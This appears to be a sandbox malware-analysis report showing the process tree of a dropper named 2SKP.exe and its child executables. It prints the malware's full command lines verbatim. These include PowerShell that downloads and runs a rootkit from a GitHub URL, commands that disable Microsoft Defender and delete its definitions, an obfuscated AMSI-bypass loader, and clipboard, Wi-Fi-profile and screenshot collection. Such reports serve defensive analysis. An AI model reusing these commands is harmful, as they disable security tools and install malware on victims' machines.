PID 2016 wrote to memory of 296	2016	cmd.exe	152
PID 3576 wrote to memory of 1200	3576	svvvv.exe	153
PID 1200 wrote to memory of 6076	1200	cmd.exe	155
PID 3576 wrote to memory of 208	3576	svvvv.exe	156
PID 208 wrote to memory of 4600	208	cmd.exe	158
PID 296 wrote to memory of 1500	296	powershell.exe	159
PID 3576 wrote to memory of 4948	3576	svvvv.exe	160
PID 4948 wrote to memory of 3732	4948	cmd.exe	162
PID 1500 wrote to memory of 5772	1500	csc.exe	163
PID 3576 wrote to memory of 2028	3576	svvvv.exe	164
PID 2028 wrote to memory of 5632	2028	cmd.exe	166
PID 3576 wrote to memory of 5276	3576	svvvv.exe	167
PID 5276 wrote to memory of 3184	5276	cmd.exe	169
PID 1492 wrote to memory of 2472	1492	cmd.exe	171
PID 3576 wrote to memory of 6072	3576	svvvv.exe	172
PID 6072 wrote to memory of 5400	6072	cmd.exe	174
PID 3576 wrote to memory of 5236	3576	svvvv.exe	175
PID 5236 wrote to memory of 5996	5236	cmd.exe	177
PID 3576 wrote to memory of 3580	3576	svvvv.exe	179
PID 3580 wrote to memory of 1436	3580	cmd.exe	181
PID 3576 wrote to memory of 4624	3576	svvvv.exe	182
PID 4624 wrote to memory of 1520	4624	cmd.exe	184
PID 3576 wrote to memory of 1252	3576	svvvv.exe	185
PID 1252 wrote to memory of 5440	1252	cmd.exe	187
PID 3576 wrote to memory of 5848	3576	svvvv.exe	188
PID 5848 wrote to memory of 2248	5848	cmd.exe	190

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:744
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ebd0b121-7d87-442b-b7e6-ded70c71f6fa}
  2⤵
  PID:4576

C:\Users\Admin\AppData\Local\Temp\2SKP.exe
"C:\Users\Admin\AppData\Local\Temp\2SKP.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sv.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1000
- C:\Users\Admin\AppData\Local\Temp\sv.exe
  "C:\Users\Admin\AppData\Local\Temp\sv.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svv.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1152
- C:\Users\Admin\AppData\Local\Temp\svv.exe
  "C:\Users\Admin\AppData\Local\Temp\svv.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svvv.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5792
- C:\Users\Admin\AppData\Local\Temp\svvv.exe
  "C:\Users\Admin\AppData\Local\Temp\svvv.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svvvv.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1220
- C:\Users\Admin\AppData\Local\Temp\svvvv.exe
  "C:\Users\Admin\AppData\Local\Temp\svvvv.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Users\Admin\AppData\Local\Temp\svvvv.exe
    "C:\Users\Admin\AppData\Local\Temp\svvvv.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3260

C:\Users\Admin\AppData\Local\Temp\sv.exe
C:\Users\Admin\AppData\Local\Temp\sv.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:KGmiZSaYbKQI{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wRjCeuRZFkyXOU,[Parameter(Position=1)][Type]$aHuTlYOyUi)$OSvkRcbpNTZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+[Char](108)+'e'+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+''+'a'+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+'M'+''+'o'+'d'+[Char](117)+'l'+[Char](101)+'',$False).DefineType('M'+'y'+''+'D'+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+'Ty'+[Char](112)+''+[Char](101)+'',''+'C'+'l'+[Char](97)+''+[Char](115)+''+'s'+''+','+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+','+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+','+'Au'+[Char](116)+''+'o'+''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$OSvkRcbpNTZ.DefineConstructor(''+'R'+''+'T'+''+'S'+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+'am'+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+'d'+[Char](101)+''+'B'+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$wRjCeuRZFkyXOU).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$OSvkRcbpNTZ.DefineMethod('I'+'n'+''+[Char](118)+''+'o'+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+'e'+'w'+'S'+[Char](108)+''+'o'+'t'+[Char](44)+'V'+[Char](105)+'rtu'+'a'+''+[Char](108)+'',$aHuTlYOyUi,$wRjCeuRZFkyXOU).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+'na'+'g'+''+[Char](101)+'d');Write-Output $OSvkRcbpNTZ.CreateType();}$sYTmVpQvMBXxD=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+'te'+'m'+'.d'+'l'+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+'at'+[Char](105)+''+[Char](118)+'e'+'M'+''+'e'+''+[Char](116)+''+'h'+''+[Char](111)+''+'d'+''+[Char](115)+'');$XKPxDnzOvuPGvo=$sYTmVpQvMBXxD.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+'r'+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+'S'+''+[Char](116)+''+'a'+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jVopfhgZBeucqmJPhBp=KGmiZSaYbKQI @([String])([IntPtr]);$ZNziwlQrUyuZWoONomGZGM=KGmiZSaYbKQI @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$UmGwdaMYbxP=$sYTmVpQvMBXxD.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+'l'+''+'e'+''+[Char](72)+''+'a'+'n'+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+'r'+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+'d'+[Char](108)+''+'l'+'')));$NzbZLjuceraYXm=$XKPxDnzOvuPGvo.Invoke($Null,@([Object]$UmGwdaMYbxP,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+'d'+''+[Char](76)+'i'+'b'+'ra'+'r'+''+'y'+''+'A'+'')));$HekjXjQPqBKcTBPjj=$XKPxDnzOvuPGvo.Invoke($Null,@([Object]$UmGwdaMYbxP,[Object]('Vi'+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+'o'+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$ncptKKR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NzbZLjuceraYXm,$jVopfhgZBeucqmJPhBp).Invoke(''+[Char](97)+''+'m'+'s'+[Char](105)+'.'+[Char](100)+''+'l'+'l');$xUfGIXaHZuUJdpzrn=$XKPxDnzOvuPGvo.Invoke($Null,@([Object]$ncptKKR,[Object]('Amsi'+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+'Bu'+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$SDegAQCwbV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HekjXjQPqBKcTBPjj,$ZNziwlQrUyuZWoONomGZGM).Invoke($xUfGIXaHZuUJdpzrn,[uint32]8,4,[ref]$SDegAQCwbV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$xUfGIXaHZuUJdpzrn,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HekjXjQPqBKcTBPjj,$ZNziwlQrUyuZWoONomGZGM).Invoke($xUfGIXaHZuUJdpzrn,[uint32]8,0x20,[ref]$SDegAQCwbV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue(''+'s'+''+[Char](118)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3132

C:\Users\Admin\AppData\Local\Temp\svv.exe
C:\Users\Admin\AppData\Local\Temp\svv.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1052

C:\Users\Admin\AppData\Local\Temp\svvv.exe
C:\Users\Admin\AppData\Local\Temp\svvv.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5236

C:\Users\Admin\AppData\Local\Temp\svvvv.exe
C:\Users\Admin\AppData\Local\Temp\svvvv.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Users\Admin\AppData\Local\Temp\svvvv.exe
  C:\Users\Admin\AppData\Local\Temp\svvvv.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:3576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svvvv.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svvvv.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      PID:1392
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:2472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3312
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:3784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5608
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:2644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5024
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:3384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:4868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:1720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4368
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:2424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2604
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4520
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAc